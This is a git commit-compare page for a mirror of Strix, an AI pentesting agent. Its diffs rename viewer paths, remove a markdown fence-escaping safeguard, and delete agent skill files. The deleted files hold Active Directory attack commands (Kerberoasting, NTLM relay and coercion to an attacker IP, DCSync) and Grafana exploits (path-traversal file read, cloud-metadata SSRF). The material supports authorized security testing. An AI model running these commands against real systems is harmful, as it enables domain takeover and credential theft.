mirror of
https://github.com/usestrix/strix.git
synced 2026-08-16 17:27:26 +02:00
Compare commits
47
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
b4c7555c24 | ||
|
|
e246745e4e | ||
|
|
9ba8e0f219 | ||
|
|
68f1d19504 | ||
|
|
dd1dab5d95 | ||
|
|
09ff9aa783 | ||
|
|
47ded9b93c | ||
|
|
01c02d6d97 | ||
|
|
4465617134 | ||
|
|
8f4ca2aedc | ||
|
|
de1c36d7e6 | ||
|
|
8264eee2f5 | ||
|
|
2351bf9323 | ||
|
|
10d6136352 | ||
|
|
8b98457041 | ||
|
|
4505ef451c | ||
|
|
05e8848332 | ||
|
|
f3a956f5df | ||
|
|
ea0c107559 | ||
|
|
cfe1073650 | ||
|
|
2a85e27dc0 | ||
|
|
f91a831761 | ||
|
|
5600650e26 | ||
|
|
9d4033d950 | ||
|
|
d73f319be5 | ||
|
|
2cd953b54e | ||
|
|
7710a970b2 | ||
|
|
54e9c0239b | ||
|
|
dfc672c947 | ||
|
|
e32bfcde4a | ||
|
|
a12b9c634c | ||
|
|
4c337f93ba | ||
|
|
8d9f785dc7 | ||
|
|
5dee36d30a | ||
|
|
f9a966df59 | ||
|
|
391df1b38c | ||
|
|
f7cfd0d47d | ||
|
|
98c2e0be4e | ||
|
|
da9c606c67 | ||
|
|
11c7eef082 | ||
|
|
8bbcafcf1a | ||
|
|
1e4db0098b | ||
|
|
1ce37d7b12 | ||
|
|
b41abc9e58 | ||
|
|
9a9b5cc1c2 | ||
|
|
db29c77b30 | ||
|
|
46e4b16167 |
+3
-3
@@ -1,8 +1,8 @@
|
||||
# Node / local-viewer SPA source (the built bundle in
|
||||
# strix/viewer/static/ is committed and shipped; do not ignore it)
|
||||
# strix/viewer/viewer_dist/ is committed and shipped; do not ignore it)
|
||||
node_modules/
|
||||
strix/viewer/frontend/node_modules/
|
||||
strix/viewer/frontend/.vite/
|
||||
strix/viewer_src/node_modules/
|
||||
strix/viewer_src/.vite/
|
||||
|
||||
# Python
|
||||
__pycache__/
|
||||
|
||||
+7
-7
@@ -101,17 +101,17 @@ We welcome feature ideas! Please:
|
||||
|
||||
## 🖥️ Local viewer SPA
|
||||
|
||||
`strix view` serves a prebuilt web UI whose source lives in
|
||||
`strix/viewer/frontend/` (a Vite + React project) and whose built output is
|
||||
committed to `strix/viewer/static/` and shipped in the package. End users never
|
||||
run a JS build. If you change anything under `strix/viewer/frontend/`, rebuild
|
||||
and commit the output:
|
||||
`strix view` serves a prebuilt web UI whose source lives in `strix/viewer_src/`
|
||||
(a Vite + React project) and whose built output is committed to
|
||||
`strix/viewer/viewer_dist/` and shipped in the package. End users never run a
|
||||
JS build. If you change anything under `strix/viewer_src/`, rebuild and commit
|
||||
the output:
|
||||
|
||||
```bash
|
||||
make viewer # or: cd strix/viewer/frontend && npm ci && npm run build
|
||||
make viewer # or: cd strix/viewer_src && npm ci && npm run build
|
||||
```
|
||||
|
||||
Commit both the source change and the regenerated `strix/viewer/static/`.
|
||||
Commit both the source change and the regenerated `strix/viewer/viewer_dist/`.
|
||||
|
||||
## 🤝 Community
|
||||
|
||||
|
||||
@@ -69,8 +69,8 @@ clean:
|
||||
|
||||
viewer:
|
||||
@echo "🖥️ Building the local-viewer SPA..."
|
||||
cd strix/viewer/frontend && npm ci && npm run build
|
||||
@echo "✅ Viewer built to strix/viewer/static/ (commit the changes)."
|
||||
cd strix/viewer_src && npm ci && npm run build
|
||||
@echo "✅ Viewer built to strix/viewer/viewer_dist/ (commit the changes)."
|
||||
|
||||
dev: format lint type-check
|
||||
@echo "✅ Development cycle complete!"
|
||||
|
||||
@@ -145,31 +145,6 @@ Advanced multi-agent orchestration for comprehensive automated penetration testi
|
||||
|
||||
---
|
||||
|
||||
## 🖥️ Local Web Viewer
|
||||
|
||||
Every scan writes its results to disk as it runs. Bring them up in a local dashboard with a single command:
|
||||
|
||||
```bash
|
||||
# Open the most recent run
|
||||
strix view
|
||||
|
||||
# ...or open a specific run by name
|
||||
strix view my-run-name
|
||||
```
|
||||
|
||||
`strix view` starts a lightweight local server (bound to `127.0.0.1` on a random port) and opens your browser to a private, tokened link. Nothing leaves your machine: the dashboard reads the run's files straight off disk, with no cloud account or upload required. The UI ships prebuilt with Strix, so there is no extra install and no JS build step.
|
||||
|
||||
### What's in the dashboard
|
||||
|
||||
- **Overview**: run status, target, and a severity breakdown of everything found so far.
|
||||
- **Vulnerabilities**: each validated finding with its severity, details, and reproduction steps.
|
||||
- **Agent graph**: a live map of the multi-agent team, showing which agent is doing what.
|
||||
- **Steering**: send instructions to a live scan from the browser to redirect the agents mid-run.
|
||||
- **History**: browse past runs on this machine and jump between them.
|
||||
- **Reports**: generate a shareable report and email it to yourself or your team.
|
||||
|
||||
---
|
||||
|
||||
## Usage Examples
|
||||
|
||||
### Basic Usage
|
||||
|
||||
+4
-4
@@ -1,6 +1,6 @@
|
||||
[project]
|
||||
name = "strix-agent"
|
||||
version = "1.2.0"
|
||||
version = "1.1.0"
|
||||
description = "Open-source AI Hackers for your apps"
|
||||
readme = "README.md"
|
||||
license = "Apache-2.0"
|
||||
@@ -77,10 +77,10 @@ build-backend = "hatchling.build"
|
||||
|
||||
[tool.hatch.build.targets.wheel]
|
||||
packages = ["strix"]
|
||||
# The prebuilt viewer bundle under strix/viewer/static/ ships automatically
|
||||
# The prebuilt viewer bundle under strix/viewer/viewer_dist/ ships automatically
|
||||
# (hatchling includes non-.py files under the package). The Vite SOURCE lives
|
||||
# under the package dir too (strix/viewer/frontend/) but must never ship in the wheel.
|
||||
exclude = ["strix/viewer/frontend", "strix/viewer/frontend/**"]
|
||||
# under the package dir too but must never ship in the wheel.
|
||||
exclude = ["strix/viewer_src", "strix/viewer_src/**"]
|
||||
|
||||
# ============================================================================
|
||||
# Type Checking Configuration
|
||||
|
||||
+2
-2
@@ -26,8 +26,8 @@ for tcss_file in strix_root.rglob('*.tcss'):
|
||||
datas.append((str(tcss_file), str(rel_path.parent)))
|
||||
|
||||
# Prebuilt local-viewer SPA (served by `strix view`).
|
||||
viewer_static = strix_root / 'viewer' / 'static'
|
||||
for asset in viewer_static.rglob('*'):
|
||||
viewer_dist = strix_root / 'viewer' / 'viewer_dist'
|
||||
for asset in viewer_dist.rglob('*'):
|
||||
if asset.is_file():
|
||||
rel_path = asset.relative_to(project_root)
|
||||
datas.append((str(asset), str(rel_path.parent)))
|
||||
|
||||
+4
-26
@@ -6,7 +6,6 @@ import csv
|
||||
import io
|
||||
import json
|
||||
import logging
|
||||
import re
|
||||
import tempfile
|
||||
from datetime import UTC, datetime
|
||||
from pathlib import Path
|
||||
@@ -19,21 +18,6 @@ logger = logging.getLogger(__name__)
|
||||
|
||||
_SEVERITY_ORDER = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4}
|
||||
|
||||
_BACKTICK_RUN = re.compile(r"`+")
|
||||
|
||||
|
||||
def _safe_fence(content: str) -> str:
|
||||
"""Return a backtick fence that ``content`` cannot break out of.
|
||||
|
||||
Per CommonMark a fenced code block is closed only by a run of backticks at
|
||||
least as long as the opening fence. LLM-authored, attacker-influenced values
|
||||
(PoC scripts, code snippets) may contain their own ``` runs, so we open with
|
||||
a fence one backtick longer than the longest run inside ``content`` (never
|
||||
fewer than three). Everything in ``content`` then renders verbatim.
|
||||
"""
|
||||
longest = max((len(m.group()) for m in _BACKTICK_RUN.finditer(content)), default=0)
|
||||
return "`" * max(3, longest + 1)
|
||||
|
||||
|
||||
def read_run_record(run_dir: Path) -> dict[str, Any]:
|
||||
path = run_record_path(run_dir)
|
||||
@@ -187,11 +171,9 @@ def render_vulnerability_md(report: dict[str, Any]) -> str: # noqa: PLR0912, PL
|
||||
lines.append(str(report["poc_description"]))
|
||||
lines.append("")
|
||||
if report.get("poc_script_code"):
|
||||
code = str(report["poc_script_code"])
|
||||
fence = _safe_fence(code)
|
||||
lines.append(fence)
|
||||
lines.append(code)
|
||||
lines.append(fence)
|
||||
lines.append("```")
|
||||
lines.append(str(report["poc_script_code"]))
|
||||
lines.append("```")
|
||||
lines.append("")
|
||||
|
||||
if report.get("code_locations"):
|
||||
@@ -208,11 +190,7 @@ def render_vulnerability_md(report: dict[str, Any]) -> str: # noqa: PLR0912, PL
|
||||
if loc.get("label"):
|
||||
lines.append(f" {loc['label']}")
|
||||
if loc.get("snippet"):
|
||||
snippet = str(loc["snippet"])
|
||||
fence = _safe_fence(snippet)
|
||||
lines.append(f" {fence}")
|
||||
lines.extend(f" {ln}" for ln in snippet.splitlines())
|
||||
lines.append(f" {fence}")
|
||||
lines.append(f" ```\n {loc['snippet']}\n ```")
|
||||
if loc.get("fix_before") or loc.get("fix_after"):
|
||||
lines.append("\n **Suggested Fix:**")
|
||||
lines.append("```diff")
|
||||
|
||||
@@ -1,233 +0,0 @@
|
||||
---
|
||||
name: active_directory
|
||||
description: Active Directory / Kerberos domain testing covering roasting, delegation abuse, AD CS (ESC1-ESC17), NTLM coercion+relay, DACL abuse, and credential dumping
|
||||
---
|
||||
|
||||
# Active Directory
|
||||
|
||||
Active Directory compromise usually comes from misconfiguration, not memory-corruption bugs: a roastable service account, a delegation flag, a vulnerable certificate template, or an over-permissive ACL turns a single low-priv domain user into Domain Admin. Almost every step needs valid domain credentials (or a foothold to coerce them), and almost every path ends at DCSync or a forged ticket. Test the identity layer — Kerberos, LDAP, NTLM, SMB, AD CS — not the marketing website in front of it.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Core services (per domain controller)**
|
||||
- Kerberos (88/tcp+udp), LDAP/LDAPS (389/636), Global Catalog (3268/3269)
|
||||
- SMB (445), RPC/DCE endpoint mapper (135) + high dynamic ports, NetBIOS (137-139)
|
||||
- DNS (53) — AD-integrated, often allows dynamic updates (ADIDNS)
|
||||
- WinRM (5985/5986), RDP (3389), MSSQL (1433) on member servers
|
||||
- AD CS: Certificate Authority + web enrollment (`/certsrv`, `/ADPolicyProvider_CEP_*`, ES/CES)
|
||||
|
||||
**Principals & objects**
|
||||
- Users, computers (`$` accounts), gMSA/sMSA, groups, GPOs, OUs, trusts
|
||||
- `servicePrincipalName`, `userAccountControl` flags, `msDS-AllowedToDelegateTo`, `msDS-AllowedToActOnBehalfOfOtherIdentity`, `msDS-KeyCredentialLink`
|
||||
- DACLs on objects (GenericAll/GenericWrite/WriteDacl/WriteOwner/AddSelf)
|
||||
|
||||
**Trust boundaries**
|
||||
- Intra-forest (parent/child), inter-forest, external, SID history
|
||||
- `MachineAccountQuota` (default 10 → any user can join computer accounts)
|
||||
|
||||
## Reconnaissance
|
||||
|
||||
**Anonymous / pre-auth (no creds)**
|
||||
```
|
||||
# Domain + naming context from LDAP rootDSE
|
||||
nmap -Pn -p 389 --script ldap-rootdse <DC>
|
||||
# SMB null session / signing / OS
|
||||
nmap -Pn -p445 --script "smb-os-discovery,smb2-security-mode" <DC>
|
||||
enum4linux-ng -A <DC>
|
||||
# Username-less user enum via Kerberos pre-auth
|
||||
kerbrute userenum -d <DOMAIN> --dc <DC> users.txt
|
||||
```
|
||||
|
||||
**Authenticated enumeration (any valid user)**
|
||||
```
|
||||
nxc ldap <DC> -u <USER> -p <PASS> # confirm creds + domain info
|
||||
nxc smb <SUBNET> -u <USER> -p <PASS> --shares # readable/writable shares
|
||||
nxc ldap <DC> -u <USER> -p <PASS> --users --groups --pass-pol
|
||||
ldapdomaindump ldap://<DC> -u '<DOMAIN>\<USER>' -p <PASS>
|
||||
```
|
||||
|
||||
**BloodHound graph (the single most valuable step)**
|
||||
```
|
||||
bloodhound-ce-python -d <DOMAIN> -u <USER> -p <PASS> -c All -ns <DC_IP> --zip
|
||||
# or, remote SharpHound-equivalent collector:
|
||||
nxc ldap <DC> -u <USER> -p <PASS> --bloodhound --collection-method All --dns-server <DC_IP>
|
||||
```
|
||||
Import into BloodHound (CE) and run the built-in "Shortest paths to Domain Admins" / "Owned principals" queries before touching anything else.
|
||||
|
||||
## Key Vulnerabilities
|
||||
|
||||
### Kerberos Roasting
|
||||
|
||||
**Kerberoasting** — any authenticated user can request a service ticket (RC4/`$krb5tgs$23$`) for any account with an SPN and crack it offline. Human-set service-account passwords are the target; machine accounts are usually uncrackable.
|
||||
```
|
||||
nxc ldap <DC> -u <USER> -p <PASS> --kerberoasting kerb.txt
|
||||
# or impacket
|
||||
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASS> -outputfile kerb.txt
|
||||
hashcat -m 13100 kerb.txt wordlist.txt
|
||||
```
|
||||
|
||||
**AS-REP Roasting** — accounts with `DONT_REQ_PREAUTH` yield a crackable `$krb5asrep$23$` blob with *no* creds needed if the username is known.
|
||||
```
|
||||
GetNPUsers.py <DOMAIN>/ -usersfile users.txt -no-pass -dc-ip <DC_IP>
|
||||
hashcat -m 18200 asrep.txt wordlist.txt
|
||||
```
|
||||
|
||||
**Targeted Kerberoasting** — with GenericAll/GenericWrite over a user, add an SPN, roast, then remove it.
|
||||
|
||||
### Delegation Abuse
|
||||
|
||||
- **Unconstrained** (`TRUSTED_FOR_DELEGATION`) — compromise the host, coerce a DC/DA to auth to it (PrinterBug/PetitPotam), capture their TGT from LSA, reuse it. Straight to DCSync.
|
||||
- **Constrained** (`msDS-AllowedToDelegateTo`) — S4U2Self+S4U2Proxy to impersonate any user to the listed SPN; swap the SPN service class (`cifs`/`host`/`ldap`) for broader access.
|
||||
- **RBCD** (`msDS-AllowedToActOnBehalfOfOtherIdentity`) — with write access over a computer object + `MachineAccountQuota>0`, create a fake computer, set RBCD, S4U to get an admin ticket for that host.
|
||||
```
|
||||
# RBCD chain
|
||||
addcomputer.py -computer-name FAKE$ -computer-pass P@ss <DOMAIN>/<USER>:<PASS>
|
||||
rbcd.py -delegate-from FAKE$ -delegate-to TARGET$ -action write <DOMAIN>/<USER>:<PASS>
|
||||
getST.py -spn cifs/target.<DOMAIN> -impersonate Administrator <DOMAIN>/FAKE$:P@ss
|
||||
```
|
||||
|
||||
### AD Certificate Services (ESC1-ESC17)
|
||||
|
||||
AD CS is the highest-yield modern path — one misconfigured template promotes a low-priv user to DA and survives password resets. Enumerate first, everything else follows:
|
||||
```
|
||||
certipy find -u <USER>@<DOMAIN> -p <PASS> -dc-ip <DC_IP> -vulnerable -stdout
|
||||
```
|
||||
- **ESC1** — template allows enrollee-supplied SAN + client-auth EKU → request a cert as `administrator`:
|
||||
```
|
||||
certipy req -u <USER>@<DOMAIN> -p <PASS> -ca <CA> -template <T> -upn administrator@<DOMAIN>
|
||||
certipy auth -pfx administrator.pfx -dc-ip <DC_IP> # → NT hash / TGT
|
||||
```
|
||||
- **ESC8** — NTLM relay to the CA web-enrollment endpoint (coerce a DC, relay to `/certsrv`) → DC certificate → DCSync.
|
||||
- **ESC others** — ESC2/3 (any-purpose/enrollment-agent), ESC4 (writable template DACL → make it ESC1), ESC6 (`EDITF_ATTRIBUTESUBJECTALTNAME2` on the CA), ESC7 (CA officer rights), ESC9/10 (weak cert mapping), ESC11 (RPC relay), ESC13 (issuance-policy→group), ESC15 (app-policy on v1 templates). `certipy find -vulnerable` flags each.
|
||||
|
||||
### NTLM Coercion & Relay
|
||||
|
||||
Force a privileged machine to authenticate to you, then relay that NTLM auth to a service that doesn't enforce signing/EPA (LDAP, AD CS, SMB).
|
||||
```
|
||||
# 1. Start the relay (LDAP → RBCD, or AD CS → cert)
|
||||
ntlmrelayx.py -t ldap://<DC> --delegate-access --no-dump
|
||||
ntlmrelayx.py -t http://<CA>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
|
||||
# 2. Coerce a target to authenticate
|
||||
coercer coerce -u <USER> -p <PASS> -t <TARGET> -l <ATTACKER_IP>
|
||||
PetitPotam.py -u <USER> -p <PASS> <ATTACKER_IP> <DC> # MS-EFSR
|
||||
printerbug.py <DOMAIN>/<USER>:<PASS>@<TARGET> <ATTACKER_IP> # MS-RPRN
|
||||
```
|
||||
LLMNR/NBT-NS/mDNS poisoning with Responder captures NetNTLMv2 hashes on the broadcast segment for offline cracking or relay.
|
||||
|
||||
### DACL / Object Abuse
|
||||
|
||||
From BloodHound edges:
|
||||
- **GenericAll/GenericWrite** on a user → targeted Kerberoast or Shadow Credentials (`msDS-KeyCredentialLink` via Certipy/pywhisker → PKINIT → NT hash).
|
||||
- **WriteDacl/WriteOwner** → grant yourself GenericAll, then DCSync rights on the domain object.
|
||||
- **ForceChangePassword** → reset a target's password.
|
||||
- **AddMember** on a privileged group → self-add.
|
||||
- **GPO edit rights** → push an immediate scheduled task / local admin to linked OUs.
|
||||
```
|
||||
# Shadow Credentials (no password reset needed, stealthier)
|
||||
certipy shadow auto -u <USER>@<DOMAIN> -p <PASS> -account <TARGET> -dc-ip <DC_IP>
|
||||
# bloodyAD for generic DACL edits
|
||||
bloodyAD -u <USER> -p <PASS> -d <DOMAIN> --host <DC> add genericAll <TARGET_DN> <USER>
|
||||
```
|
||||
|
||||
### Credential Access & Domain Dominance
|
||||
|
||||
- **DCSync** (with replication rights — `DS-Replication-Get-Changes*`) dumps any/all hashes incl. `krbtgt`:
|
||||
```
|
||||
secretsdump.py <DOMAIN>/<USER>:<PASS>@<DC> -just-dc-user krbtgt
|
||||
nxc smb <DC> -u <USER> -p <PASS> --ntds # full NTDS.dit
|
||||
```
|
||||
- **Golden ticket** (`krbtgt` hash) / **Silver ticket** (service acct hash) / **Diamond ticket** — forge TGTs/STs for persistence.
|
||||
- **Pass-the-Hash / OverPass-the-Hash / Pass-the-Ticket** — reuse NT hashes or Kerberos tickets without the plaintext.
|
||||
- **LAPS / gMSA** — readable `ms-Mcs-AdmPwd` or `msDS-ManagedPassword` grants local admin / service creds.
|
||||
|
||||
### Known unauthenticated CVEs (patch-dependent)
|
||||
|
||||
- **ZeroLogon** (CVE-2020-1472) — resets the DC machine account to null, instant DA on unpatched DCs.
|
||||
- **noPac** (CVE-2021-42278/42287) — sAMAccountName spoofing → impersonate DC.
|
||||
- **PrintNightmare** (CVE-2021-1675/34527), **PetitPotam** (unauth MS-EFSR pre-KB5005413).
|
||||
Confirm with a version/patch check before firing — these are destructive.
|
||||
|
||||
## Advanced Techniques
|
||||
|
||||
- **UnPAC-the-hash** — recover a user's NT hash from a PKINIT/cert auth (Certipy `auth` prints it).
|
||||
- **sAMAccountName spoofing** chain (noPac) when `MachineAccountQuota>0` and DCs unpatched.
|
||||
- **SID history injection** across trusts for cross-domain/forest escalation.
|
||||
- **ADIDNS poisoning** — add wildcard/records via authenticated LDAP to intercept name resolution.
|
||||
- **Timeroast** — roast computer-account passwords via NTP if the DC exposes MS-SNTP.
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Foothold check** — Confirm creds work (`nxc ldap/smb`) and note privileges; note `MachineAccountQuota` and password policy.
|
||||
2. **BloodHound first** — Collect + graph before manual work; mark the foothold principal as owned and read the DA paths.
|
||||
3. **Low-noise credential harvest** — AS-REP roast (no auth), Kerberoast, readable LAPS/gMSA, GPP passwords in SYSVOL.
|
||||
4. **AD CS sweep** — `certipy find -vulnerable`; it is often the shortest path and independent of the BloodHound graph.
|
||||
5. **DACL edges** — Walk each BloodHound edge from owned → high value; prefer Shadow Credentials over password resets (reversible, quieter).
|
||||
6. **Delegation** — Enumerate unconstrained/constrained/RBCD; chain with coercion where a privileged auth is needed.
|
||||
7. **Coercion + relay** — Only where signing/EPA is off; identify the relay target (LDAP/AD CS) first.
|
||||
8. **Prove domain dominance** — DCSync `krbtgt` / a target user, then stop. Do not persist (golden ticket) on client engagements unless in scope.
|
||||
|
||||
## Validation
|
||||
|
||||
1. Show the exact misconfiguration (SPN, `userAccountControl` flag, template flags, ACE, missing patch) with the enumerating tool's raw output.
|
||||
2. Demonstrate the privilege gained — a cracked service-account password, an issued certificate authenticating as a privileged user, or an NT hash from DCSync.
|
||||
3. Provide the full chain: owned principal → edge/misconfig → escalation step → resulting access, with commands and evidence at each hop.
|
||||
4. Tie the impact to a concrete identity (e.g. "user `svc-sql` → Domain Admins") rather than a generic "AD is misconfigured".
|
||||
5. For coercion/relay, capture both the coerced authentication and the relayed action succeeding.
|
||||
|
||||
## False Positives
|
||||
|
||||
- Kerberoastable SPN on a **machine account** — password is 120-char random, effectively uncrackable; not a finding on its own.
|
||||
- `certipy find` lists a template as ESC-vulnerable but enrollment rights exclude your principal (check the `Enrollment Rights` / `Requires Manager Approval` fields).
|
||||
- Delegation flags present but the account is disabled or the target SPN is unreachable.
|
||||
- Relay target enforces SMB/LDAP signing or channel binding (EPA) — the relay will fail; not exploitable.
|
||||
- DCs fully patched — ZeroLogon/noPac/PetitPotam checks report "not vulnerable".
|
||||
- "Writable" share that only exposes a redirected/quarantined path with no useful content.
|
||||
|
||||
## Impact
|
||||
|
||||
- Full domain (and often forest) compromise: read/modify all objects, all credentials, all data.
|
||||
- Persistent, patch-surviving access via golden tickets, forged certificates, or SID history.
|
||||
- Lateral movement to every domain-joined host (file servers, databases, hypervisors).
|
||||
- Ransomware blast radius — DA is the standard pivot for domain-wide deployment.
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. BloodHound before brute force — the graph turns hours of guessing into a named path; always mark owned nodes.
|
||||
2. Prefer AS-REP roasting and `certipy find` early — both are quiet and one needs no creds.
|
||||
3. Shadow Credentials > password reset when you have write access: reversible, doesn't lock out the account, no plaintext needed.
|
||||
4. Fix clock skew before Kerberos work: `sudo ntpdate <DC>` (or `faketime`) — `KRB_AP_ERR_SKEW` kills ticket ops.
|
||||
5. Use FQDNs and set `/etc/resolv.conf` to the DC (or `--dns-server`); Kerberos and LDAP referrals break on bare IPs.
|
||||
6. `nxc` (NetExec) is the CrackMapExec successor — CME is unmaintained; use `nxc` and its `--gen-relay-list`, `--bloodhound`, `-M` modules.
|
||||
7. Pair with `nmap` (service/port discovery) and `authentication_jwt` skills where the domain fronts web SSO (ADFS/SAML).
|
||||
|
||||
## Tooling
|
||||
|
||||
**None of the AD tools below ship in the Strix sandbox by default** (the image is Kali-rolling but installs only web-focused tooling). Install what the task needs — the sandbox has `pipx`, `pip`, `go`, `git`, and Kali's apt repos. AD testing also requires **network reachability to the target DC/subnet**, which the default web-target sandbox usually lacks; confirm connectivity first.
|
||||
|
||||
```
|
||||
# Python identity toolkit (impacket = GetUserSPNs/GetNPUsers/secretsdump/ntlmrelayx/getST/addcomputer/rbcd)
|
||||
pipx install impacket
|
||||
pipx install netexec # nxc — CME successor: ldap/smb/winrm enum, roasting, bloodhound, ntds
|
||||
pipx install certipy-ad # AD CS enum + ESC1-ESC17 abuse, shadow credentials
|
||||
pipx install bloodhound-ce # bloodhound-ce-python collector (BloodHound CE ingestor)
|
||||
pipx install coercer # multi-protocol coercion (MS-EFSR/RPRN/DFSNM/FSRVP)
|
||||
pipx install bloodyAD # DACL / LDAP object edits over LDAP
|
||||
pipx install ldapdomaindump # LDAP dumper (bloodhound.py author)
|
||||
go install github.com/ropnop/kerbrute@latest # kerbrute (Go) — user enum / pre-auth brute
|
||||
|
||||
# Kali apt packages
|
||||
sudo apt-get install -y smbclient ldap-utils krb5-user enum4linux-ng responder hashcat john
|
||||
```
|
||||
|
||||
- **NetExec (`nxc`)** — swiss-army enum/exec across smb/ldap/winrm/mssql; use for creds validation, share hunting, `--kerberoasting`, `--bloodhound`, `--ntds`.
|
||||
- **impacket** — the canonical scriptable attack primitives (roasting, S4U, relay, secretsdump, ticket forging).
|
||||
- **Certipy** — AD CS: `find -vulnerable`, `req`, `auth`, `shadow`, relay; covers the full ESC1-ESC17 set.
|
||||
- **BloodHound CE + collector** — attack-path graphing; the first thing to run with any valid credential.
|
||||
- **Responder / ntlmrelayx / Coercer / PetitPotam** — the poisoning→coercion→relay chain (needs L2 access or a coercible target).
|
||||
- **hashcat / john** — offline cracking of roasted `$krb5tgs$`/`$krb5asrep$` blobs (modes `13100` / `18200`).
|
||||
|
||||
Humans often use GUI BloodHound and Windows-side C# tooling (SharpHound, Rubeus, Certify, PowerView); in-sandbox prefer the Python/Linux equivalents above (`bloodhound-ce-python`, impacket, Certipy, `nxc`).
|
||||
|
||||
## Summary
|
||||
|
||||
AD compromise is a graph problem: start from a valid credential, map paths with BloodHound, and chain misconfigurations — roastable accounts, delegation flags, vulnerable certificate templates, coercion+relay, and permissive DACLs — until you reach DCSync or a forged ticket. The identity plane (Kerberos/LDAP/NTLM/SMB/AD CS), not the perimeter, is where domains fall.
|
||||
@@ -1,189 +0,0 @@
|
||||
---
|
||||
name: grafana_prometheus
|
||||
description: Grafana, Prometheus, Alertmanager and exporter security testing — turning exposed observability into SSRF, credential theft, RCE, and lateral movement into the internal network
|
||||
---
|
||||
|
||||
# Grafana & Prometheus (Observability Stack)
|
||||
|
||||
Observability stacks (Grafana + Prometheus + Alertmanager + Loki/Tempo/Jaeger + exporters) are among the highest-value pivots on a network. They are chronically exposed (300k+ internet-facing Grafana instances on Shodan), run with weak/no auth, hold plaintext credentials for every backend they touch, and sit in a network position that reaches internal services and cloud metadata. Treat a reachable observability endpoint not as the finding but as the **entry point**: the goal is to pivot from "monitoring is exposed" into data-source credential theft, SSRF into the internal network, cloud key compromise, RCE, and cluster/host takeover.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Grafana** (default `:3000`)
|
||||
- Web UI + REST API (`/api/*`), login, org/user management, snapshots
|
||||
- Data sources: stored connection details + credentials for Prometheus, Loki, Tempo, MySQL/Postgres, Elasticsearch, InfluxDB, CloudWatch, Azure Monitor, etc.
|
||||
- Data source **proxy** (`/api/datasources/proxy/...`, `/api/ds/query`) — server-side HTTP client → SSRF primitive
|
||||
- Plugins (incl. Image Renderer, Infinity) — extra SSRF/RCE surface
|
||||
- Alerting → contact points/webhooks (outbound HTTP, another SSRF vector)
|
||||
|
||||
**Prometheus** (default `:9090`)
|
||||
- Query API (`/api/v1/query`, `/graph`), config/target/status endpoints, federation, admin/lifecycle API
|
||||
|
||||
**Alertmanager** (default `:9093`)
|
||||
- Alert/silence API (`/api/v2/*`), config with receiver credentials
|
||||
|
||||
**Exporters / adjacent** — node_exporter (`:9100`), cAdvisor/kubelet (`:4194`/`:10250`), kube-state-metrics (`:8080`), Pushgateway (`:9091`), Loki (`:3100`), Tempo, Jaeger UI (`:16686`), Thanos/Cortex/Mimir/VictoriaMetrics
|
||||
|
||||
## Reconnaissance
|
||||
|
||||
**Fingerprint & version** (version drives which CVEs apply)
|
||||
```
|
||||
GET /api/health # Grafana: {"version":"...","commit":"..."}
|
||||
GET /api/frontend/settings # buildInfo, enabled auth, datasource types
|
||||
GET /login # Grafana login page / footer version
|
||||
GET /api/v1/status/buildinfo # Prometheus version
|
||||
GET /metrics # any exporter → prometheus/node/go_* series
|
||||
```
|
||||
|
||||
**Auth posture — always test unauthenticated first**
|
||||
```
|
||||
GET /api/datasources # Grafana: 200 = anon/viewer has admin-ish read
|
||||
GET /?orgId=1 # anonymous access enabled? lands on dashboards
|
||||
GET /api/v1/targets # Prometheus: 200 = no auth
|
||||
GET /api/v2/status # Alertmanager: 200 = no auth
|
||||
```
|
||||
|
||||
**Credential entry points**
|
||||
- Grafana default creds `admin:admin` (the first-login change prompt has a **Skip** button — ~1 in 5 internet-facing instances still accept it)
|
||||
- Anonymous org access (`auth.anonymous`), open sign-up, guest/viewer roles
|
||||
- Leaked Grafana API keys / service account tokens (`Authorization: Bearer glsa_...` / `eyJ...`) in JS bundles, git, CI logs
|
||||
|
||||
## Key Vulnerabilities & CVEs
|
||||
|
||||
### CVE-2021-43798 — Grafana pre-auth path traversal (arbitrary file read)
|
||||
Grafana 8.0.0-beta1 → 8.3.0. Directory traversal through the plugin static route reads any file the process can, **no auth required**. Every install ships pre-installed plugins, so the path always exists.
|
||||
```
|
||||
curl --path-as-is 'http://host:3000/public/plugins/mysql/../../../../../../../../etc/passwd'
|
||||
# other plugin ids that always exist: prometheus, graph, text, alertlist, table-old
|
||||
```
|
||||
High-value reads:
|
||||
- `/etc/grafana/grafana.ini` and `conf/defaults.ini` → `secret_key`, admin password, SMTP/LDAP creds
|
||||
- `/var/lib/grafana/grafana.db` (SQLite) → `data_source.secure_json_data` (AES-encrypted with `secret_key` → decrypt to recover backend passwords/tokens), session tokens, API key hashes
|
||||
- `/proc/self/environ`, cloud credential files (`~/.aws/credentials`, k8s SA token at `/var/run/secrets/kubernetes.io/serviceaccount/token`)
|
||||
|
||||
### CVE-2024-9264 — Grafana SQL Expressions RCE + LFI (DuckDB)
|
||||
Grafana **v11.0.0–11.2.x** (10.x not affected). The experimental SQL Expressions feature passes user input to the `duckdb` CLI insufficiently sanitized → command injection + arbitrary file read. Enabled by default for the API (feature-flag bug); exploitable **only if the `duckdb` binary is in Grafana's `$PATH`** (not shipped by default). Any user with **Viewer or higher** can exploit. CVSS 9.4.
|
||||
- Probe: is `duckdb` present? Try the SQL Expressions query path; LFI via `read_csv`/`read_blob`-style functions, command injection via DuckDB's shell/`install`/`load` extension mechanics.
|
||||
- Mitigation you'll see: remove `duckdb` from PATH.
|
||||
|
||||
### CVE-2025-4123 — Grafana open redirect + stored XSS → SSRF chain
|
||||
Double-encoded traversal (`..%2f`) into the client path/`/redirect` forwards the victim to an attacker origin that serves a malicious plugin manifest → JS executes in the trusted grafana origin (stored XSS). If the **Image Renderer** plugin is present, escalate to full-read SSRF:
|
||||
```
|
||||
POST /api/render?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
||||
```
|
||||
No creds needed when anonymous access is on (common in demo/lab).
|
||||
|
||||
### CVE-2021-39226 / CVE-2024-1313 — Grafana snapshot auth bypass
|
||||
